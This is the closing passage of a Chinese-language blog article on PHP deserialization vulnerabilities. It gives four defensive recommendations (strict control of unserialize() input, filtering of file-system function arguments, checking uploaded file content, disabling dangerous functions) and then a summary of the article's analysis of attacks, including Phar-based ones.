當然,這些還遠遠不夠,在 這片文章 中列舉了非常多與之有關的函式
如圖所示:
除此之外就是 zsx 師傅 找到的 ,我沒有仔細看重合的部分,讀者想發覺自己看一下吧
0X07 防禦方法:
1.嚴格的把控 unserailize() 函式的引數,不要給攻擊者任何輸入的可能
2.在檔案系統函式的引數可控時,對引數進行嚴格的過濾。
3.嚴格檢查上傳檔案的內容,而不是隻檢查檔案頭。
4.在條件允許的情況下禁用可執行系統命令、程式碼的危險函式。
0X08 總結
本文結合我對 PHP 反序列化的理解以及參考文章的分析,詳細地一步一個腳印地分析了 什麼是PHP 反序列化,PHP 反序列化有什麼意義, 攻擊者是如何利用 PHP 反序列化的漏洞進行攻擊的,並詳細分析了通用的攻擊思路與攻擊手段,對 Phar 對 PHP 反序列化的擴充套件也做了詳細的討論,特別是補充的從底層分析漏洞來源並擴充套件攻擊面很值得我們思考(感謝ZSX 大佬的分享,利用這個知識點我也出了 LCTF 2018 的一道 web 題,我從中也學到了很多,當然由於水平有限,這一部分分析可能不到位,請大家見諒),我還在在最後給出了簡單的防禦 PHP 反序列化的幾條建議,希望讀者在看完我的文章以後有與眾不同的的收穫,這將是我莫大的榮幸。